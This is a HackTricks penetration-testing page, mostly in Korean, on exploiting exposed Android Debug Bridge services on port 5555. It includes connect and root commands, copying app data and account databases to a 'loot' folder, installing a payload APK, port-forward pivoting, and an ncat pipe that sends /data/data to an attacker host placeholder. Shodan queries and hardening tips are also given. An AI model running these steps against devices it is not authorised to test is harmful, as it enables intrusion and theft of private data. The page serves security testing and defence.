5555 - Android Debug Bridge

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

From the docs:

Android Debug Bridge (adb)๋Š” Android ๊ธฐ๋ฐ˜ ์žฅ์น˜ ๋ฐ ์—๋ฎฌ๋ ˆ์ดํ„ฐ์™€ ํ†ต์‹ ํ•˜๊ธฐ ์œ„ํ•œ ๋ช…๋ น์ค„ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์ž‘์—…์—๋Š” ํŒจํ‚ค์ง€ ์„ค์น˜, ๋””๋ฒ„๊น… ๋ฐ ์žฅ์น˜์—์„œ ๋Œ€ํ™”ํ˜• Unix ์…ธ์„ ์–ป๋Š” ๊ฒƒ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

  • ์—ญ์‚ฌ์  ๊ธฐ๋ณธ TCP ํฌํŠธ: 5555 (ํด๋ž˜์‹ โ€œadb tcpipโ€ ๋ชจ๋“œ).
  • ํ˜„๋Œ€ ๋ฌด์„  ๋””๋ฒ„๊น… (Android 11+)์€ TLS ํŽ˜์–ด๋ง ๋ฐ mDNS ์„œ๋น„์Šค ๊ฒ€์ƒ‰์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์—ฐ๊ฒฐ ํฌํŠธ๋Š” ๋™์ ์ด๋ฉฐ mDNS๋ฅผ ํ†ตํ•ด ๋ฐœ๊ฒฌ๋ฉ๋‹ˆ๋‹ค; 5555๊ฐ€ ์•„๋‹ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŽ˜์–ด๋ง์€ adb pair host:port ๋‹ค์Œ์— adb connect๋กœ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์  ์˜๋ฏธ์— ๋Œ€ํ•œ ์ฃผ์˜ ์‚ฌํ•ญ์€ ์•„๋ž˜๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.

Example nmap fingerprint:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Connect

ADB๊ฐ€ ๋…ธ์ถœ๋˜์–ด ์žˆ๊ณ  ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, ๋น ๋ฅด๊ฒŒ ์—ฐ๊ฒฐํ•˜๊ณ  ์—ด๊ฑฐํ•ด ๋ณด์„ธ์š”:

adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • ๋งŒ์•ฝ ์žฅ์น˜๊ฐ€ ADB ์ธ์ฆ์„ ๊ฐ•์ œํ•˜๋Š” ๊ฒฝ์šฐ (ro.adb.secure=1), ์‚ฌ์ „ ์ธ์ฆ(USB RSA ์ธ์ฆ)์ด ํ•„์š”ํ•˜๊ฑฐ๋‚˜ Android 11+ ๋ฌด์„  ๋””๋ฒ„๊น… ํŽ˜์–ด๋ง์„ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ด๋Š” ์žฅ์น˜์— ํ‘œ์‹œ๋œ ์ผํšŒ์„ฑ ์ฝ”๋“œ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค).
  • ์ผ๋ถ€ ๋ฒค๋” ์ด๋ฏธ์ง€, ์—”์ง€๋‹ˆ์–ด๋ง/์‚ฌ์šฉ์ž ๋””๋ฒ„๊ทธ ๋นŒ๋“œ, ์—๋ฎฌ๋ ˆ์ดํ„ฐ, TV, STB ๋ฐ ๊ฐœ๋ฐœ ํ‚คํŠธ๋Š” ์ธ์ฆ ์—†์ด adbd๋ฅผ ๋…ธ์ถœํ•˜๊ฑฐ๋‚˜ adbd๊ฐ€ ๋ฃจํŠธ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ, ์ผ๋ฐ˜์ ์œผ๋กœ ์…ธ ๋˜๋Š” ๋ฃจํŠธ ์…ธ์— ์ง์ ‘ ์ ‘๊ทผํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜ ADB ๋ช…๋ น ์ฐธ์กฐ๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค:

ADB Commands

๋น ๋ฅธ ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡

์…ธ์— ์ ‘๊ทผํ•œ ํ›„, ๊ถŒํ•œ ๋ฐ SELinux ์ปจํ…์ŠคํŠธ๋ฅผ ๊ฒ€์ฆํ•˜์‹ญ์‹œ์˜ค:

id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

๋ฐ์ดํ„ฐ ์—ด๊ฑฐ ๋ฐ ์บก์ฒ˜

  • ์„œ๋“œํŒŒํ‹ฐ ์•ฑ ๋ฐ ๊ฒฝ๋กœ ๋‚˜์—ด:
pm list packages -3
pm path <pkg>
  • ๋ฃจํŠธ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ (adb root ๋˜๋Š” su ์‚ฌ์šฉ ๊ฐ€๋Šฅ), /data์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ์•ฑ์— ๋Œ€ํ•ด run-as๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค:
# ๋ฃจํŠธ ์—†์ด, ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ์•ฑ์˜ ๊ฒฝ์šฐ
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# ๋ฃจํŠธ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • ์œ ์šฉํ•œ ์‹œ์Šคํ…œ ์•„ํ‹ฐํŒฉํŠธ (๋ฃจํŠธ ํ•„์š”):
  • /data/system/users/0/accounts.db ๋ฐ ๊ด€๋ จ AccountManager ๋ฐ์ดํ„ฐ
  • /data/misc/wifi/ (๊ตฌ๋ฒ„์ „์˜ ๋„คํŠธ์›Œํฌ ๊ตฌ์„ฑ/ํ‚ค)
  • /data/data/ ์•„๋ž˜์˜ ์•ฑ ์ „์šฉ SQLite DB ๋ฐ shared_prefs

์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: ์•ฑ ๋น„๋ฐ€). Chrome ๋ฐ์ดํ„ฐ ๊ณ ๋ ค ์‚ฌํ•ญ์— ๋Œ€ํ•œ ๋…ธํŠธ๋Š” ์—ฌ๊ธฐ์—์„œ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.

์ฝ”๋“œ ์‹คํ–‰ ๋ฐ ํŽ˜์ด๋กœ๋“œ ์ „๋‹ฌ

  • ๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ ์„ค์น˜ ๋ฐ ์ž๋™ ๋ถ€์—ฌ:
adb install -r -g payload.apk         # -g๋Š” ๋งค๋‹ˆํŽ˜์ŠคํŠธ์— ์„ ์–ธ๋œ ๋ชจ๋“  ๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • ํ™œ๋™/์„œ๋น„์Šค/๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ๋ฅผ ์ง์ ‘ ์‹œ์ž‘:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

ํฌํŠธ ํฌ์›Œ๋”ฉ ๋ฐ ํ”ผ๋ฒ—ํŒ…

๋ฃจํŠธ ์—†์ด๋„ adb๋Š” ๋กœ์ปฌ ํฌํŠธ๋ฅผ ์žฅ์น˜ ํฌํŠธ๋กœ, ๋˜๋Š” ๊ทธ ๋ฐ˜๋Œ€๋กœ ํฌ์›Œ๋”ฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์žฅ์น˜์—์„œ ๋กœ์ปฌ๋กœ ๋ฐ”์ธ๋”ฉ๋œ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ๊ณต๊ฒฉ์ž ์„œ๋น„์Šค๋ฅผ ์žฅ์น˜์— ๋…ธ์ถœํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

  • ํ˜ธ์ŠคํŠธ->์žฅ์น˜ ํฌ์›Œ๋”ฉ (ํ˜ธ์ŠคํŠธ์—์„œ ์žฅ์น˜ ๋กœ์ปฌ ์„œ๋น„์Šค์— ์ ‘๊ทผ):
adb forward tcp:2222 tcp:22       # ์žฅ์น˜์—์„œ SSH๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ (์˜ˆ: Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # ์•ฑ์˜ ๋กœ์ปฌ ๋””๋ฒ„๊ทธ ์„œ๋ฒ„ ๋…ธ์ถœ
  • ์žฅ์น˜->ํ˜ธ์ŠคํŠธ ์—ญ๋ฐฉํ–ฅ (์žฅ์น˜๊ฐ€ ํ˜ธ์ŠคํŠธ์˜ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๋„๋ก ํ—ˆ์šฉ):
adb reverse tcp:1080 tcp:1080     # ์žฅ์น˜ ์•ฑ์ด ์ด์ œ 127.0.0.1:1080์œผ๋กœ ํ˜ธ์ŠคํŠธ:1080์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค
  • ์†Œ์ผ“์„ ํ†ตํ•œ ํŒŒ์ผ ์œ ์ถœ (sdcard ์“ฐ๊ธฐ ์—†์Œ):
# ํ˜ธ์ŠคํŠธ์—์„œ: ์ˆ˜์‹  ๋Œ€๊ธฐ
ncat -lvp 9000 > dump.tar
# ์žฅ์น˜์—์„œ: tar๋กœ ๋””๋ ‰ํ† ๋ฆฌ ์ „์†ก (๋ฃจํŠธ ๋˜๋Š” run-as ์ ์šฉ ๊ฐ€๋Šฅ)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

๋ฌด์„  ๋””๋ฒ„๊น… (Android 11+)

ํ˜„๋Œ€ Android๋Š” ์žฅ์น˜ ์ธก ํŽ˜์–ด๋ง ๋ฐ mDNS ๊ฒ€์ƒ‰์„ ํ†ตํ•ด TLS๋กœ ๋ณดํ˜ธ๋œ ๋ฌด์„  ๋””๋ฒ„๊น…์„ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค:

# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

๋…ธํŠธ

  • ํฌํŠธ๋Š” ๋™์ ์ž…๋‹ˆ๋‹ค; 5555๋ฅผ ๊ฐ€์ •ํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. mDNS ์„œ๋น„์Šค ์ด๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:
  • _adb-tls-pairing._tcp (ํŽ˜์–ด๋ง)
  • _adb-tls-connect._tcp (ํŽ˜์–ด๋ง๋œ ์—ฐ๊ฒฐ)
  • _adb._tcp (๋ ˆ๊ฑฐ์‹œ/์ผ๋ฐ˜)
  • mDNS๊ฐ€ ํ•„ํ„ฐ๋ง๋˜๋ฉด, ๊ณ ์ „ USB ์ง€์› ํ™œ์„ฑํ™”๊ฐ€ ์ผ๋ถ€ ๋นŒ๋“œ์—์„œ ์—ฌ์ „ํžˆ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: adb tcpip 5555 ๋‹ค์Œ adb connect <ip>:5555 (์žฌ๋ถ€ํŒ… ์ „๊นŒ์ง€).

๊ณต๊ฒฉ์  ์˜๋ฏธ: ์žฅ์น˜ UI์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด (์˜ˆ: ๋ฌผ๋ฆฌ์  ์ ‘๊ทผ ๋˜๋Š” ๋ชจ๋ฐ”์ผ MDM ์ž˜๋ชป ๊ตฌ์„ฑ) ๋ฌด์„  ๋””๋ฒ„๊น…์„ ํ™œ์„ฑํ™”ํ•˜๊ณ  ํŽ˜์–ด๋ง ์ฝ”๋“œ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ์ผ€์ด๋ธ” ์—†์ด ์žฅ๊ธฐ์ ์œผ๋กœ ํŽ˜์–ด๋ง๋œ ADB ์ฑ„๋„์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ OEM์€ ํŽ˜์–ด๋ง ์—†์ด ์—”์ง€๋‹ˆ์–ด๋ง/๊ฐœ๋ฐœ ์ด๋ฏธ์ง€์—์„œ TCP๋ฅผ ํ†ตํ•ด ADB๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹คโ€”ํ•ญ์ƒ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค.

๊ฐ•ํ™” / ํƒ์ง€

์ˆ˜๋น„์ž๋Š” ๋„๋‹ฌ ๊ฐ€๋Šฅํ•œ adbd (TCP)๊ฐ€ ์ค‘์š”ํ•œ ์œ„ํ—˜์ด๋ผ๊ณ  ๊ฐ€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • ํ•„์š”ํ•˜์ง€ ์•Š์„ ๋•Œ ADB ๋ฐ ๋ฌด์„  ๋””๋ฒ„๊น…์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์‹ญ์‹œ์˜ค. ๊ฐœ๋ฐœ์ž ์˜ต์…˜์—์„œ USB ๋””๋ฒ„๊น… ๊ถŒํ•œ์„ ์ทจ์†Œํ•˜์‹ญ์‹œ์˜ค.
  • ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์„ธ๊ทธ๋จผํŠธ์—์„œ ์ˆ˜์‹  TCP/5555 ๋ฐ mDNS ๊ธฐ๋ฐ˜ ADB ๊ฒ€์ƒ‰์„ ์ฐจ๋‹จํ•˜๋Š” ๋„คํŠธ์›Œํฌ ์ •์ฑ…์„ ๋ณด์žฅํ•˜์‹ญ์‹œ์˜ค.
  • ๊ท€ํ•˜์˜ ์ œ์–ด ํ•˜์— ์žˆ๋Š” ์žฅ์น˜์—์„œ:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # TCP ์ˆ˜์‹  ๋น„ํ™œ์„ฑํ™” (๋˜๋Š” ์‚ฌ์šฉ: adb usb)
stop adbd; start adbd             # ๋ฐ๋ชฌ ์žฌ์‹œ์ž‘
  • ๊ธฐ์—… ๋„คํŠธ์›Œํฌ์—์„œ mDNS ๋ ˆ์ฝ”๋“œ _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ์˜ˆ์ƒ์น˜ ๋ชปํ•œ 5555 ๋ฆฌ์Šค๋„ˆ์— ๋Œ€ํ•œ ๊ฒฝ๊ณ ๋ฅผ ์„ค์ •ํ•˜์‹ญ์‹œ์˜ค.
  • ๋ถˆ์•ˆ์ „ํ•œ ๋นŒ๋“œ์— ๋Œ€ํ•œ ์ธ๋ฒคํ† ๋ฆฌ: getprop ro.debuggable, ro.build.type, ๋ฐ ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:โ€œAndroid Debug Bridgeโ€

์ฐธ์กฐ

  • Android Developers โ€“ Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP โ€“ ADB over Wiโ€‘Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ